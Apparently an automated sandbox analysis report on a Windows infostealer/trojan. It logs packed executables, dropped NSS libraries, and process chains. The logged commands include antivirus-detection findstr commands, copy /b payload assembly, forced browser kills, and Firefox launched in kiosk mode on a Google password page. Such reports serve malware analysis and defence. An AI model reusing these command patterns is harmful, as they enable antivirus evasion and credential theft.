Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D4A30E	24_2_00D4A30E
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D2C45C	24_2_00D2C45C
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D9C5C4	24_2_00D9C5C4
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D828D7	24_2_00D828D7
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D4E920	24_2_00D4E920
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D78AB4	24_2_00D78AB4
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D46B8B	24_2_00D46B8B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D2CBB2	24_2_00D2CBB2
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D3CEC0	24_2_00D3CEC0
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00DA4F4F	24_2_00DA4F4F
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D1D000	24_2_00D1D000
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D471F9	24_2_00D471F9
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D19540	24_2_00D19540
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D317B4	24_2_00D317B4
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D19A20	24_2_00D19A20
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D31B26	24_2_00D31B26
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D37C3B	24_2_00D37C3B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D31DD0	24_2_00D31DD0
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D19E80	24_2_00D19E80
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D37E6A	24_2_00D37E6A
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D2DF78	24_2_00D2DF78

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6094D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5FCBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: String function: 00D30E50 appears 46 times
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: String function: 00D2FE52 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: String function: 004062A3 appears 57 times

Source: random[2].exe0.13.dr	Static PE information: Data appended to the last section found
Source: 5bebd091e2.exe.13.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCm7 vs file.exe
Source: file.exe, 00000000.00000002.2125390250.000000006C845000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2124743505.000000006C652000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: rjdslfrf ZLIB complexity 0.9948723092900302
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: random[1].exe.0.dr	Static PE information: Section: ihqucnpr ZLIB complexity 0.9945654794045048
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: DocumentsFHCAFIDBKE.exe.0.dr	Static PE information: Section: ihqucnpr ZLIB complexity 0.9945654794045048
Source: skotes.exe.10.dr	Static PE information: Section: ZLIB complexity 0.9982703933923706
Source: skotes.exe.10.dr	Static PE information: Section: ihqucnpr ZLIB complexity 0.9945654794045048
Source: random[1].exe.13.dr	Static PE information: Section: dqdwsshm ZLIB complexity 0.9943562940140845
Source: 3f69cca2d1.exe.13.dr	Static PE information: Section: dqdwsshm ZLIB complexity 0.9943562940140845
Source: random[1].exe0.13.dr	Static PE information: Section: ZLIB complexity 0.9974796307755776
Source: random[1].exe0.13.dr	Static PE information: Section: tnwqhvjl ZLIB complexity 0.9940459387232761
Source: 70da2e822d.exe.13.dr	Static PE information: Section: ZLIB complexity 0.9974796307755776
Source: 70da2e822d.exe.13.dr	Static PE information: Section: tnwqhvjl ZLIB complexity 0.9940459387232761
Source: random[2].exe.13.dr	Static PE information: Section: rjdslfrf ZLIB complexity 0.9948723092900302
Source: 57b831f1bb.exe.13.dr	Static PE information: Section: rjdslfrf ZLIB complexity 0.9948723092900302

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@81/62@44/12

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C627030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C627030

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D71939 AdjustTokenPrivileges,CloseHandle,		24_2_00D71939
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D71F3D LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		24_2_00D71F3D

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe

14_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D7DC3E CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CompareStringW,CloseHandle,

24_2_00D7DC3E

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe

Code function: 14_2_004024FB CoCreateInstance,

14_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

Code function: 24_2_00D838E0 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

24_2_00D838E0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PWQRBF23.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7256:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2664:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5300:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2208:120:WilError_03

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2125195386.000000006C7FF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1950747178.000000001DA65000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2950983408.0000000005D19000.00000004.00000800.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000003.2953939527.0000000005CFD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2123823776.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2113872508.000000001DB6C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 42%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsFHCAFIDBKE.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2504,i,10230353253133394527,14038540076738270544,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHCAFIDBKE.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHCAFIDBKE.exe "C:\Users\user\DocumentsFHCAFIDBKE.exe"
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe "C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe"
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe "C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe "C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe"
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe "C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe"
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFHCAFIDBKE.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2504,i,10230353253133394527,14038540076738270544,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFHCAFIDBKE.exe "C:\Users\user\DocumentsFHCAFIDBKE.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe "C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe "C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe "C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe "C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe "C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com B
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Process created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
